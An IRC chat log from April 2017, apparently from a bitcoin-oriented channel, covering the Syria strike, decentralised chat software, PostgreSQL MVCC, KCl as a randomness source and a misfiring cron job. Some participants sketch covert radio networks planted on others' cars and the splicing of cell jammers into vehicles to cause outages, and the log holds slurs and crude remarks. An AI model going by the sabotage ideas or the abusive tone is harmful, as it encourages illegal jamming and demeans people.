how you'd categorise the 'affect heuristic' as kahneman et al. call it.; i.e., when you make decision with at least partial influence of current emotion. it's very *fast* (thereby falls under kahneman's type 1). ridiculous scenario where it's useful: i'm chased by tiger, see two paths in woods, one has sign 'DANGER' in red, i don't have time to even parse word without making decision, 1640208;1491590837;Framedragger;i just decide to go with the other path. 1640209;1491590849;Framedragger;horrible primitive heuristic, but useful. 1640210;1491590854;mircea_popescu;i would characterise it as "they got confused on their own terminology and backported orphan chains into the story" 1640211;1491590854;Framedragger;(probably bad example.) 1640212;1491590861;Framedragger;:) 1640213;1491590866;Framedragger;yeah i can see that 1640214;1491590897;mircea_popescu;transparently, screamingly a case of "now that we got something, let's let church and state back in". hurr. 1640215;1491591486;asciilifeform;mircea_popescu: re rocket attack : 'Российское военное ведомство сообщило, что были уничтожены склад, учебный корпус, столовая, шесть находившихся в ремонтных ангарах самолетов МиГ-23 и радиолокационная станция.' << not just asphalt, apparently 1640216;1491591529;mircea_popescu;aha 1640217;1491591555;mircea_popescu;well, 100mn in tomahawks just about worth 100mn in migs. 1640218;1491591558;mircea_popescu;fair deal. 1640219;1491591661;asciilifeform;https://archive.is/PH9hf << ruin pics 1640220;1491591854;asciilifeform;ru pulled out of mutual air warning agreement. 1640221;1491591872;mircea_popescu;yeah things are warming up a little. 1640222;1491592018;asciilifeform;sam rockets, it was proclaimed, are nao fair game. 1640223;1491592208;asciilifeform;mircea_popescu: in other delectable memoryholes, https://archive.is/kRRmh 1640224;1491592236;asciilifeform;^ 'daily mail' deletes 2013 article re obummer's plan for false flag gas attack in syria. 1640225;1491592262;mircea_popescu;aww 1640226;1491593395;asciilifeform;in other 'run moar winblowz' noose, https://wikileaks.org/vault7/#Grasshopper 1640227;1491593425;mircea_popescu;http://btcbase.org/log/2017-04-07#1639939 << eh relax you. 1640228;1491593425;a111;Logged on 2017-04-07 16:04 asciilifeform: EVERYBODY thinks they're soooo much cleverer than dumb old asciilifeform 1640229;1491593684;ben_vulpes;https://staltz.com/an-off-grid-social-network.html and https://www.scuttlebutt.nz/ , if anyone's interested in piles of chairs anymore 1640230;1491593833;asciilifeform;ben_vulpes: here's an even worse, https://mastodon.social 1640231;1491593855;asciilifeform;i asked the fella who sent me the link, 'how does this beat irc?' and answered, 'but it has LOGS!' 1640232;1491593869;ben_vulpes;*jazz hands* 1640233;1491593910;asciilifeform;there is pretty clear effort being expended to 'heathenize' gossipd. 1640234;1491593937;mircea_popescu;kek 1640235;1491593945;asciilifeform;( in the minds of the perpetrators, probably the operative historical example is hurd ) 1640236;1491593947;mircea_popescu;really, logs ? 1640237;1491593960;asciilifeform;logs. 1640238;1491593974;ben_vulpes;500 characters per post! 1640239;1491593980;mircea_popescu;http://btcbase.org/log/2017-04-07#1639945 >> well no, sks etc are "come back later and see" 1640240;1491593980;a111;Logged on 2017-04-07 16:05 asciilifeform: which, note, replaces, e.g., sks and other heathen idiocies. 1640241;1491593998;ben_vulpes;could possibly expose some tiny fraction of user base' actual literacy skills 1640242;1491594005;mircea_popescu;ben_vulpes i find it's very important to establish aforehand what each barbie doll will wear, do or say at the dollhouse teaparty. 1640243;1491594014;asciilifeform;mircea_popescu: sks does in fact find a key immediately if such is known. 1640244;1491594014;mircea_popescu;500 characters, brainstorming meeting! 1640245;1491594017;asciilifeform;or at least did once. 1640246;1491594025;mircea_popescu;yes, but not gives you link if not known 1640247;1491594037;asciilifeform;aaah yea 1640248;1491594065;ben_vulpes;there is also 'discord' 1640249;1491594083;mircea_popescu;dis cord or dat cord ? 1640250;1491594094;ben_vulpes;no i snipped dat cord 1640251;1491594106;asciilifeform;'Scuttlebutt is a decent(ralised) secure gossip platform.' 1640252;1491594108;asciilifeform;didjaknow. 1640253;1491594124;mircea_popescu;oh, wordplay! 1640254;1491594145;mircea_popescu;i find wordplay a fine substitute for competent engineering. it betrays such a wordliness in the cunning linguist responsible. 1640255;1491594146;asciilifeform;'Other Projects ... Ethereum ... Zerocoin ... MaidSafe .. Solid ' didjaalsoknow. 1640256;1491594208;asciilifeform;tardanoization, ever the favourite idiot gambit. 1640257;1491594263;asciilifeform;server-process.js << lol 1640258;1491594311;asciilifeform;looks like we can all go home and eat nagant folx!11111 a hero has risen , and written gossipd in gendercommitlang!11111 1640259;1491594373;ben_vulpes;'a hero' can an hero 1640260;1491594379;mircea_popescu;lel 1640261;1491594516;ben_vulpes;while we're surveying and lest anyone call us princeton, there is also http://matrix.org/ 1640262;1491594557;asciilifeform;'Matrix provides state of the art end-to-end encryption in beta using the Olm and Megolm cryptographic ratchets, and ensuring that only explicitly authorized devices can participate in a conversation. Based on the Double Ratchet Algorithm popularised by Signal...' 1640263;1491594560;asciilifeform;do i have to read this ? 1640264;1491594573;phf;i was excited about scuttlebutt for couple of minutes. usually hacks that come out of "digital nomad" circles are at least worth looking at since they have a lot of uncommon requirements built in (must work over 14.4 dialup, etc.). until i realized it's written in javascript by a hacker with "200 packages in npm" 1640265;1491594593;asciilifeform;phf: all of the linked examples thus far, fit this pattern 1640266;1491594631;ben_vulpes;wake me up when they work over shortwave 1640267;1491594685;asciilifeform;lol. 1640268;1491594687;phf;ben_vulpes: that's easy, someone always adds a shortwave bridge. 1640269;1491594697;asciilifeform;gendercommits propagate instantaneously , ben_vulpes 1640270;1491594707;asciilifeform;telepathically. 1640271;1491594708;mircea_popescu;asciilifeform nope 1640272;1491594710;ben_vulpes;ftl egalitarianism! 1640273;1491594825;asciilifeform;'developed by Trevor Perrin and Moxie Marlinspike in 2013' 1640274;1491594832;mircea_popescu;lel k 1640275;1491594839;phf;it's hard to push anything interesting over shortwave though, unless you're prepared to do pirate broadcasting, because of crypto. can't broadcast encrypted stuff 1640276;1491594854;mircea_popescu;"we have a lot of 3 people we keep recycling into stuff" 1640277;1491594866;mircea_popescu;phf lol rly ? 1640278;1491594879;asciilifeform;phf: naturally pirate, and frequency hop pattern exchanged cryptographically 1640279;1491594910;asciilifeform;mircea_popescu: aha, Official amateur radio international treaty forbids crypto (and... music) 1640280;1491594910;phf;you still have good old "fox hunt" though 1640281;1491594919;mircea_popescu;"everything must be incompatible with fiat legal/political systems" is a fundamental requirement of republican work. 1640282;1491594940;mircea_popescu;if it "obeys the law" i pointedly don't want it, and FOR THAT REASON. 1640283;1491594942;asciilifeform;phf: fox hunt when transmitter walks from dc to daylight is a difficult proposition, unless you're in near field (inductive) range already 1640284;1491594945;mircea_popescu;and this includes "standards". 1640285;1491594962;asciilifeform;phf: likewise when it operates in msec bursts 1640286;1491594999;asciilifeform;(gru knew this simple fact in 1950s. don't morse by hand, morse with paper tape rolled by clockwork, over in 1s or so. apparatus fit in suitcase.) 1640287;1491595073;phf;well, they didn't print this simple fact in "young electronic" so i wouldn't know, i like the idea of msec bursts though 1640288;1491595073;asciilifeform;ideally ( and this was in the gps jammer thread ) your transmitter won't be a point source, either -- but a chorus of ~synchronized~ transmitters far apart, in polygonal pattern 1640289;1491595122;mircea_popescu;the idea of getting signal picked up/repeated by the old "item attached to someone else's car" is the golden ticket. 1640290;1491595137;mircea_popescu;get a network of these thick enough in urban setting, an' farewell to arms. 1640291;1491595169;mircea_popescu;eminently the sort of thing resisting civillian population can do with little risk to disrupt obama-gestapo. 1640292;1491595455;asciilifeform;incidentally, esp8266 has an analogue-in 1640293;1491595457;phf;i'm weary of things that require Wasp lifestyle though, can be done, good to be able to do it, but it's not something you can bootstrap from normal state 1640294;1491595460;asciilifeform;makes an ok walkie-talkie 1640295;1491595473;BingoBoingo; coinbr public announcement: there are some stuck orders, and it came at worst possible time. During the weekend I should be able to fix. << Have some thank you cake https://s-media-cache-ak0.pinimg.com/564x/bd/cd/db/bdcddbf71f1966610be20506b082eb61.jpg 1640296;1491595478;asciilifeform;phf: aha, if civilian traffic stops -- goodbye to the car transmitters 1640297;1491595488;asciilifeform;but they can be deniably planted elsewhere (e.g. roofs) 1640298;1491595529;mircea_popescu;phf what's "wasp lifestyle" ? white protestant ?! 1640299;1491595543;ben_vulpes;fictional saboteur story 1640300;1491595545;phf;you get sloppy with opsec and that 3 people team that's been drawing paycheck on your assignment for the past 4 years is going to close in 1640301;1491595556;asciilifeform;aah ~that~ wasp 1640302;1491595558;mircea_popescu;and get shot in the face. 1640303;1491595570;mircea_popescu;what, there's a rule pigs don't bleed ? 1640304;1491595580;Framedragger;btw supposedly there's a new iteration/model of esp8266, anyone has an opinion? 1640305;1491595592;asciilifeform;Framedragger: i never found a bulk souce of the ~old~ one 1640306;1491595594;Framedragger;ah the english word is 'successor', forgot 1640307;1491595617;Framedragger;sad! 1640308;1491595637;asciilifeform;Framedragger: as it is i have here a crate of 20 modulized ones. but strictly for experiments. 1640309;1491595648;Framedragger;(for logs, keyword of new one is esp32) 1640310;1491595654;asciilifeform;this is quite different from finding a ~bulk~ source 1640311;1491595662;Framedragger;yeah i understand :/ 1640312;1491595669;trinque;english though impoverished has "iteration" too 1640313;1491595670;asciilifeform;i.e. one where 1) they cost less than the retail model 2) linearly less with quantity 1640314;1491595675;asciilifeform;3) not attached to pcb already 1640315;1491595772;asciilifeform;mircea_popescu: on contemplation, cars may not be a very good hiding place, they ( esp in usa ) routinely move through chokepoints - toll archs, and these are already equipped with camera and radio receivers 1640316;1491595792;asciilifeform;would not be so difficult for enemy to determine who has one. 1640317;1491595796;mircea_popescu;was $example 1640318;1491595802;asciilifeform;right 1640319;1491595808;mircea_popescu;let enemy invest in that, move to something else... 1640320;1491596018;ben_vulpes;comms net while attractive is complex 1640321;1491596036;ben_vulpes;one could rack up quite a bill just splicing cell jammers into mobile power busses, eg cars 1640322;1491596172;mircea_popescu;one could also rack up quite a bill paying the wife for blowjobs. 1640323;1491596183;ben_vulpes;bill /for the state/ 1640324;1491596210;ben_vulpes;customers complain about random outages, att/verizon/$provider wastes a pile of money doing infrastructure testing and then calls in fcc vans for triangulation rolls 1640325;1491596250;mircea_popescu;http://btcbase.org/log/2017-04-07#1639964 << one of the (~the~ ?) advantage of tmsr work for intelligent folk is that there isn't a braindamaged/choiceless manager in the loop going "i know it's stupid but it must be done". 1640326;1491596250;a111;Logged on 2017-04-07 16:11 Framedragger: alright. i will grant you that the end system wouldn't be "oh so elegantly simple", because you would have to have a submission queue (maybe something that trinque had in mind). user submits key; gets permalink (immediately); meanwhile key gets sent to master (immediately), and master puts it into "to be inserted" queue. under normal loads, the insertion happens ~immediately, 1640327;1491596309;mircea_popescu;the immediate (not even spoken, because they don't want to say it because they don't want it discussed because they want it to be forever true) retort from the empire'd be that "well, this doesn't work". except... it does work. 1640328;1491597221;ben_vulpes;anyone ever see a trb/buildroot run hang at `checking for gcc float-conversion bug...` ? 1640329;1491597235;asciilifeform;not i 1640330;1491597241;asciilifeform;what kind of box ? which gcc ? 1640331;1491597272;ben_vulpes;powerpc, don't recall which gcc 1640332;1491597294;asciilifeform;thank the nice folx who created autoconf. 1640333;1491597299;asciilifeform;for this 'gift'. 1640334;1491597308;asciilifeform;i've had it hang on other occasions, never found out why. 1640335;1491597319;ben_vulpes;it's not strictly speaking hung afaict; cursor blinks, newlines and other chars write to term 1640336;1491597329;asciilifeform;well of course they will 1640337;1491597333;asciilifeform;it ain't your ~shell~ that hung. 1640338;1491597340;ben_vulpes;mright 1640339;1491597380;trinque;reminds me I gotta buy the HD screws for g5 cheese-grater 1640340;1491598045;asciilifeform;in other noose, swedish lulz. 1640341;1491598072;asciilifeform;diesel snackbar in stockholm. 1640342;1491598275;phf;dat variety speak overflow 1640343;1491601213;*;shinohai wonders if he should write an article on how an airstrike in response for killing of children results in death of 4 children .... 1640344;1491601524;mircea_popescu;dead babiez meme! 1640345;1491601607;shinohai;http://archive.is/YkMfJ 1640346;1491601841;mircea_popescu;http://btcbase.org/log/2017-04-07#1640078 << are you sure this is equiv to select * where something=something and if nothing is selected insert, ie, does the insert take read locks while it looks for the where ? 1640347;1491601841;a111;Logged on 2017-04-07 16:49 trinque: insert into factors (val) values (3) where not exists (select 1 from factors where value = 3); 1640348;1491601859;BingoBoingo; mircea_popescu: on contemplation, cars may not be a very good hiding place, they ( esp in usa ) routinely move through chokepoints - toll archs, and these are already equipped with camera and radio receivers << Depends on region and car 1640349;1491601954;pete_dushenski;BingoBoingo: always depends on car! 1640350;1491601977;pete_dushenski;Framedragger: new command added to directory yesterday, just fyi :) 1640351;1491601987;pete_dushenski;also !~tits added! 1640352;1491602015;trinque;mircea_popescu: https://www.postgresql.org/docs/current/static/mvcc-intro.html << "Internally, data consistency is maintained by using a multiversion model (Multiversion Concurrency Control, MVCC). This means that each SQL statement sees a snapshot of data (a database version) as it was some time ago, regardless of the current state of the underlying data. This prevents statements from viewing inconsistent 1640353;1491602015;*;BingoBoingo amazed by fake news wank over Assad dropped sarin vs. Assad bomed, sarin happened to be in bomb's way 1640354;1491602017;trinque;data produced by concurrent transactions performing updates on the same data rows, providing transaction isolation for each database session. MVCC, by eschewing the locking methodologies of traditional database systems, minimizes lock contention in order to allow for reasonable performance in multiuser environments." 1640355;1491602054;mircea_popescu;i am not advanced enough for this 1640356;1491602074;trinque;and "reading never blocks writing and writing never blocks reading" 1640357;1491602076;BingoBoingo;Trump needed contrast to Obama/watches too much television, and needs a pretext to come into friendship with Putin honestly if MWGA is to happen 1640358;1491602097;shinohai;http://btcbase.org/log/2017-04-07#1640351 <<< lol thx pete_dushenski 1640359;1491602097;a111;Logged on 2017-04-07 21:53 pete_dushenski: also !~tits added! 1640360;1491602098;trinque;the thing forks the database upon each write and reads happen in the snapshot of state they began 1640361;1491602111;mircea_popescu;trinque so an insert if not exists where a = b does NOT block a different select while it checks the where clause ? 1640362;1491602131;trinque;absolutely not per my understanding of pg 1640363;1491602135;mircea_popescu;alright. 1640364;1491602136;trinque;two writes may 1640365;1491602139;trinque;n writes. 1640366;1491602146;mircea_popescu;wait 1640367;1491602165;trinque;if you and I are trying to update the same table your update may block until after mine 1640368;1491602194;pete_dushenski;shinohai: cheers :) also (belatedly) wd on lordship nomination! very well deserved 1640369;1491602214;mircea_popescu;suppose S = "insert if not exists where a = b" prototype. suppose S takes time T composed of ti for the insert and tw for the where clause. Suppose thjere's 5 concurrent S presented to db, S1..S5. are you saying that IN NO CASE will Sn wait for a Twi where i != n ? 1640370;1491602251;mircea_popescu;ie, s5 is NOT waiting to do EITHER its insert or its where check because S3 is doing EITHER its insert or its where check ? 1640371;1491602291;shinohai;ty pete_dushenski ... gonna buy me a celebratory mercedes? :) 1640372;1491602358;pete_dushenski;haha well mine is for sale... could always gift. can you give me a tax receipt for your needy cause ? 1640373;1491602390;shinohai;Hmmm .... the foundation for the preservation of slutty tits ? 1640374;1491602433;pete_dushenski;it'd be discriminatory NOT to give to that cause! 1640375;1491602434;shinohai;And selling the mercedes! O.o 1640376;1491602457;pete_dushenski;making room for more nazisleds ;) 1640377;1491602474;shinohai;Oh ha .... werd 1640378;1491602487;pete_dushenski;but the replacement is still hush-hush. stay tuned. 1640379;1491602536;trinque;mircea_popescu: reads block nobody, never block. I understand the where clause of an insert statement to be a condition on a read query that gets fed into a write, just as my "common table expressions" ('with' keyword) feed into each other. 1640380;1491602557;mircea_popescu;aite. 1640381;1491602695;*;BingoBoingo awaits pete_dushenski's eventual conversion to plasticar and panel replacement that requires only a good flat head screwdriver 1640382;1491602702;trinque;http://p.bvulpes.com/pastes/VBOWD/?raw=true << values part of an insert is a table literal 1640383;1491602824;trinque;equiv to select 1,2,3 ; and you can use that if you like 1640384;1491603200;trinque;http://www.reuters.com/article/us-mideast-crisis-syria-russia-medvedev-idUSKBN17928I << in other concurrency issues 1640385;1491603280;pete_dushenski;BingoBoingo: only 'domestic' i'd touch is f-150. new citroen 'h van' is my kinda plastic though. frp. tres retrocool aussi. 1640386;1491603323;BingoBoingo;Bah 1640387;1491603330;trinque;by the nato precedent set by turkey, I'd expect russia can down an american plane or two without risking a nuclear exchange, eh? 1640388;1491603378;pete_dushenski;in other boosts, asicboost is back as the segwit saviour : http://archive.is/1BYAX (gmaxwell) 1640389;1491603441;pete_dushenski;trinque: russia could down 1/16 us aircraft carrieres without risking nukage. 1640390;1491603441;asciilifeform;pete_dushenski: this is an ancient (circa 2014 or so) snorefest 1640391;1491603507;pete_dushenski;asciilifeform: apparently snores are fuel for core lulz. like logs in fire. 1640392;1491603556;ben_vulpes;!~tits 1640393;1491603556;jhvh1;( . Y . ) http://trilema.com/2014/ill-pay-for-your-tits/ ( . Y . ) 1640394;1491603562;ben_vulpes;oh 1640395;1491603583;ben_vulpes;i was hoping for a bait reimplementation 1640396;1491603611;pete_dushenski;why hope when you can read directory ? 1640397;1491603637;ben_vulpes;i'm not going to crack a web browser when the bot's right there 1640398;1491603678;pete_dushenski;https://medium.com/@samcole_74219/asicboost-655a73d48ae4 << more of the same sadness as above. strap double gas mask on for this one. 'sam cole founder of kncminer' is functionally illiterate. 1640399;1491603701;pete_dushenski;ben_vulpes: mk. 1640400;1491604494;pete_dushenski;"Well I was a major miner for over two years and I lost out because other people had a lower CoC. I had to say goodbye to a business that I built from the ground up. I’m not calling fowl play and throwing my toys out of the pram. Its called business and its what enables people to invest in bitcoin." ~sam cole (tm). so fowl. so chicken. cluck cluck! 1640401;1491604535;pete_dushenski;it can't really be any wonder that knc sunk. not after reading this. 1640402;1491604636;ben_vulpes;asciilifeform: 'twas 4.7 1640403;1491604689;asciilifeform;gcc? 1640404;1491604694;ben_vulpes;mhm 1640405;1491604726;ben_vulpes;compiling 4.9 here, will try again. 1640406;1491604741;ben_vulpes;honestly i'll be surprised if it compiles 1640407;1491604877;asciilifeform;oh unrelatedly to anything, 1640408;1491604964;asciilifeform;asciilifeform finally found a rng-usable beta decay source that is permitted in every country's post office, available worldwide, and for a few bux per kg : ordinary KCl. 1640409;1491605071;asciilifeform;K consists of K-40 at 120 ppm 1640410;1491605090;asciilifeform;half life ~1.3 x 10^9 yrs. 1640411;1491605115;pete_dushenski;BingoBoingo: before you totally bah at frpmobile http://archive.is/MfHrx 1640412;1491605150;pete_dushenski;asciilifeform: cost for kcl ? 1640413;1491605162;asciilifeform;pete_dushenski: check your favourite grocery shop 1640414;1491605189;pete_dushenski;eh, minibucks don't buy much. prolly 2x what you'd pay! 1640415;1491605197;asciilifeform;or anywhere gardening supplies are sold 1640416;1491605202;asciilifeform;or weight lifter's shop 1640417;1491605203;asciilifeform;or, or. 1640418;1491605210;asciilifeform;in usa it is sold as 'diet salt' 1640419;1491605325;pete_dushenski;looks like ~$100/kg on scamazon 1640420;1491605344;asciilifeform;in what, zimbabwe dollars ? 1640421;1491605355;ben_vulpes;https://www.amazon.com/Potassium-Chloride-KCl-10-Pounds/dp/B008NX3SU0/ref=sr_1_2?ie=UTF8&qid=1491605341&sr=8-2&keywords=kcl << 27.99 1640422;1491605361;ben_vulpes;10 lbs 1640423;1491605367;pete_dushenski;asciilifeform: cad, so close 1640424;1491605429;asciilifeform;that looks like ~6 $ u.s / kg. 1640425;1491605491;pete_dushenski;cheapest kg i'm seeing is cad$20+40 for shipping = cad$60 1640426;1491605501;asciilifeform;buy at corner store. 1640427;1491605511;pete_dushenski;sure sure 1640428;1491605529;asciilifeform;anyway entire bag would power several thou. pin diode 1640429;1491605996;deedbot;http://www.contravex.com/2017/04/07/installing-openbsd-on-macppc/ << » Contravex: A blog by Pete Dushenski - Installing OpenBSD on MacPPC 1640430;1491606020;pete_dushenski;^eventually got it :D 1640431;1491606186;shinohai;http://btcinfo.sdf.org/uploads/PresidentTrump.mp4 1640432;1491606396;asciilifeform;lolwut 1640433;1491606558;shinohai;Now you make me want to buy one of these ppc's pete_dushenski 1640434;1491607176;pete_dushenski;that's exactly my scheme to bid up the prices of g5s. bwahaha! 1640435;1491607338;shinohai;>:3 1640436;1491607389;*;pete_dushenski to go skate on nhl ice. 1640437;1491607466;shinohai;In batshit crazy racial news: http://archive.is/BxMbu 1640438;1491610780;asciilifeform;https://www.orau.org/ptp/collection/consumer%20products/magazines.htm << in other lulz 1640439;1491611175;shinohai;https://twitter.com/MrChrisEllis/status/850496261870546944 "conspiring with top brass" lmfao 1640440;1491620002;asciilifeform;http://btcbase.org/log/2017-04-07#1640411 << lol, gasenwagen! , compare >> https://pbs.twimg.com/media/CdGLqV_WEAAEIrz.jpg 1640441;1491620002;a111;Logged on 2017-04-07 22:45 pete_dushenski: BingoBoingo: before you totally bah at frpmobile http://archive.is/MfHrx 1640442;1491624358;mircea_popescu;http://btcbase.org/log/2017-04-07#1640115 << not a bad idea. blog fare if nothjing else. 1640443;1491624358;a111;Logged on 2017-04-07 17:31 danielpbarron: i can do an unboxing video or something. i have 5.5 through 5.8 in original sealed packaging 1640444;1491624838;mircea_popescu;http://btcbase.org/log/2017-04-07#1640387 << ~everyone can do just about anything without risking such a wonder seeing how the shit dun werk. 1640445;1491624838;a111;Logged on 2017-04-07 22:15 trinque: by the nato precedent set by turkey, I'd expect russia can down an american plane or two without risking a nuclear exchange, eh? 1640446;1491624909;mircea_popescu;"fowl play" lmao 1640447;1491624982;BingoBoingo;No fowl language, so shut the fuck up about the peacocks and peahens! 1640448;1491625126;BingoBoingo;And don't even get started on the peacucks 1640449;1491625251;BingoBoingo;pete_dushenski: When do we get G5 trb sync stats? 1640450;1491625330;shinohai;No need to get cocky 1640451;1491625371;mircea_popescu;lol 1640452;1491625420;BingoBoingo;Peabull https://s-media-cache-ak0.pinimg.com/736x/4d/9e/2b/4d9e2bd935b4ebe1c9910c17500ca955.jpg 1640453;1491625478;BingoBoingo;peacuck http://www.viralboo.com/wp-content/uploads/2014/04/big-beautiful-white-peacock-hd-wallpaper-17.jpg 1640454;1491625576;shinohai;Beautiful bird, lovely plumage. 1640455;1491628742;mircea_popescu;lmao 1640456;1491628744;mircea_popescu;!!up derpshart 1640457;1491628744;deedbot;derpshart voiced for 30 minutes. 1640458;1491655954;Framedragger;pete_dushenski: ty :) 1640459;1491657900;mircea_popescu;all these turdwads "Talking about their experience" holy shit 1640460;1491657943;mircea_popescu;first it was "get a college degree doing no work -- just on the basis of your current experience!11" now it's "draw a salary doing nothing other than recounting the psychogenic hum in your otherwise empty brainbox". 1640461;1491657956;mircea_popescu;walking, talking, rotting meat-based FUCKGOATS. 1640462;1491663172;shinohai;!~ticker --market all 1640463;1491663179;jhvh1;shinohai: Bitstamp BTCUSD last: 1189.39, vol: 3981.41960638 | BTC-E BTCUSD last: 1176.095, vol: 3888.70242 | Bitfinex BTCUSD last: 1191.9, vol: 13853.34404636 | BTCChina BTCUSD last: 1035.309051, vol: 1580.14100000 | Kraken BTCUSD last: 1190.105, vol: 1439.15594448 | Volume-weighted last average: 1178.90737794 1640464;1491668560;Framedragger;trinque: does `!!deed` work when issued over privmsg? i just did that and then realised that may it's not supposed to work that way? 1640465;1491668577;Framedragger;maybe* 1640466;1491668726;mircea_popescu;gotta do it here. 1640467;1491668755;Framedragger;aite. 1640468;1491668761;Framedragger;!!deed http://p.bvulpes.com/pastes/9LRgl/?raw=true 1640469;1491668768;deedbot;accepted: 1 1640470;1491668773;Framedragger;magic 1640471;1491670819;asciilifeform;in other lulz, https://bitcrust.org << tardanoization of nqb storage algo. 1640472;1491670988;asciilifeform;stole entire algo, as described here, lock stock and barrel; implemented in shitlang 1640473;1491671015;shinohai;Written in ...... Rust. 1640474;1491671053;Framedragger;if it's a good idea it must be stolen from asciilifeform. 1640475;1491671067;asciilifeform;Framedragger: this particular one -- yes, stolen. 1640476;1491671080;asciilifeform;or what, 'was always obvious', just had to wait until now 'for reasons'. 1640477;1491671173;asciilifeform;!#s siberian river 1640478;1491671173;a111;2 results for "siberian river", http://btcbase.org/log-search?q=siberian%20river 1640479;1491671229;asciilifeform;+ http://btcbase.org/log/2014-08-13#794524 . 1640480;1491671229;a111;Logged on 2014-08-13 14:40 asciilifeform: 'They tend to show up late at parties because they figure they can always steal the cake anyway, so why bother go early ? Let the suckers figure out first - on their own dime - where the good cakes are, then just swoop in and collect... This means the only way they can get in is if you let them get in. Don’t let them get in for cheap - they have no business here.' (mp's http://trilema.com/2014/people-us-dollar 1640481;1491671276;Framedragger;i'm curious, what do you mean by 'now'? 1640482;1491671277;Framedragger;did you describe the idea before, say, august 2016? 1640483;1491671324;asciilifeform;what part of the linked item verifiably existed in aug '16 ? 1640484;1491671342;Framedragger;https://github.com/tomasvdw/bitcrust/commit/534e1afcaefc80dc7e64ee46768110cae5737e2d 1640485;1491671348;Framedragger;inb4 'oh, git, fu' 1640486;1491671407;asciilifeform;so far i see a shitoshi block format parser 1640487;1491671544;*;Framedragger gets into situtations where he's forced by himself to read rust code on git. can't blame anyone 1640488;1491671588;Framedragger;do you recall when you described the storage of nqb? 1640489;1491671620;Framedragger;march ~11 maybe 1640490;1491671697;Framedragger;i see that part of the related turd is here (5 march): https://github.com/tomasvdw/bitcrust/commit/01001d9f6033426624fba570da437a0a316993c0 1640491;1491671705;*;Framedragger checking some more because curious 1640492;1491671734;Framedragger;aha, 27 feb: https://github.com/tomasvdw/bitcrust/commit/94b29e3cc21369e7a55b5ad342cefa93f920dcfb 1640493;1491671855;Framedragger;from what i take it, 'spent tree' is the relevant notion here. tell me if i'm wrong tho (very much could be). but if i'm not, then - 22 dec 2016: https://github.com/tomasvdw/bitcrust/commit/ac4f4eb12c7a202a3971f782f92b741431ff75ed (and commits thereafter). 1640494;1491671918;Framedragger;you could of course say that 'git doesnt prove anything', and i'll have to agree. but if you allow that, then it's reasonable to say that 'unsigned irc logs dont prove anything, either', from the point of view of the counterparty. i won't say more, only that this 'thief!!' is very unconvincing 1640495;1491672050;Framedragger;(also, my mp-emulator is saying "why do you spend energy challenging these and not challenging the empire", and my response is that i don't give the privilege to the empire of even *challenging* their shit; they're not worth it imho. this all just to say that take it easy) 1640496;1491673006;asciilifeform;Framedragger: tbh i don't actually give enough of a shit to try to cut apart the ball of yarn in shitlang -- what part stolen, when, from which logs ( our discussion of block/tx storage has been running for ages ) 1640497;1491673062;Framedragger;certainly not worth your time. and i understand. just find this 'call thief by default' funny; but it's probably borne of experience, simply 1640498;1491673089;asciilifeform;the glossy www, for instance, is new -- domain bought on apr. 1 of '17 1640499;1491673180;asciilifeform;registered by a certain van der Wansem of 'btcsoccer' ( https://bitcointalk.org/index.php?topic=544115.0 ? https://github.com/tomasvdw/btcsoccer ? or some other, unrelated crackpottery ? or plain disinfo..? ) 1640500;1491673234;Framedragger;lol yeah. 1640501;1491673388;asciilifeform;https://github.com/tomasvdw/bitcrust/graphs/code-frequency << also lulzy. 1640502;1491674105;asciilifeform;Framedragger: unrelatedly is it you who has the 1/minute wget on phuctor ? 1640503;1491674118;Framedragger;hmm, certainly not. do you see the ip? 1640504;1491674127;asciilifeform;5.196.95.135 1640505;1491674135;Framedragger;fuck, that's siphnos' ip 1640506;1491674136;Framedragger;checking. 1640507;1491674145;Framedragger;that wasn't supposed to be once a minute. sorry about that. 1640508;1491674146;asciilifeform;i thought i oughta ask before i blackhole the entire subnet. 1640509;1491674153;Framedragger;(i had changed it to 30min for index stats page) 1640510;1491674156;Framedragger;:/ 1640511;1491674222;Framedragger;how the fuck did i screw this up. crontab is http://p.bvulpes.com/pastes/mYvHM/?raw=true 1640512;1491674224;Framedragger;hm. 1640513;1491674345;Framedragger;asciilifeform: still wget'ing every minute? the 1min frequency was the initial frequency which i had promptly changed at timestamp http://btcbase.org/log/2017-04-06#1638989 1640514;1491674345;a111;Logged on 2017-04-06 15:53 Framedragger: done 1640515;1491674481;Framedragger;asciilifeform: script log says the attempts are at the right frequency: http://p.bvulpes.com/pastes/rUTs3/?raw=true - but i'm turning off these two now, for the time being. 1640516;1491674543;asciilifeform;looks like it's off. 1640517;1491674612;Framedragger;so the 1min crawls, just to confirm - they were older, right? i did start with 1min on thursday; then turned it off on request; then re-enabled once/30min for stats page, once/60min for phuctored and once/60min for dupes. 1640518;1491675007;asciilifeform;nope 1640519;1491675012;asciilifeform;they were until 10 or so min. ago. 1640520;1491675030;Framedragger;wtf. i'll beat myself with a crontab manual, then 1640521;1491675094;Framedragger;asciilifeform: for my own education, if not too much trouble, when you have a minute, could you paste a few log lines from the webserver relating to the 1min wget'er? 1640522;1491675129;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/hhxxQ/?raw=true << sample 1640523;1491675147;Framedragger;ty! 1640524;1491675298;Framedragger;(daaamn, i screwed up with cron.) 1640525;1491675396;Framedragger;asciilifeform: sorry about that 1640526;1491680419;BingoBoingo;http://www.africanamerica.org/topic/latinos-ethnic-cleansing-african-americans-in-la?nc=1 1640527;1491680665;BingoBoingo;http://baltimore.cbslocal.com/2014/06/03/tensions-rise-at-digital-harbor-high-between-african-american-latino-students/ 1640528;1491680785;shinohai;https://twitter.com/rogerkver/status/850350068049747968 1640529;1491681030;Framedragger;well certainly not when MagicalTux buys a $460mn frappuccino https://blog.bigterminal.com/wp-content/uploads/2014/02/protest-confronts-karpeles.jpg 1640530;1491681037;Framedragger;shinohai: ^ 1640531;1491681068;shinohai;`FagicalSux` 1640532;1491681202;jurov;coinbr orders fixed. mircea_popescu pls to process 1640533;1491681863;BingoBoingo;ty 1640534;1491682044;BingoBoingo;Moar Ferguson http://www.nydailynews.com/new-york/nyc-crime/teen-mcdonald-gang-attack-punished-terrorizing-rikers-article-1.3022777 1640535;1491683057;asciilifeform;'Buying a cup of coffee is not a micro transaction' 'SegWit and LN and you can buy coffee again. That simple. You are choosing power and politics over coffee.' << lol 1640536;1491683877;shinohai;TIL the ability to buy coffee is what Satoshi envisioned all along. 1640537;1491683945;shinohai;To be fair I did buy several bricks of Bustelo with BTC once, but hardly a cup. 1640538;1491685570;phf;i was trying to find tuomov's rant from 2007 or so (the guy behind Ion) where he basically said that anti-aliasing is a kludge, and we won't even need it once the dpi is high enough 1640539;1491685753;jurov;phf: that was x-post from #clim? :) 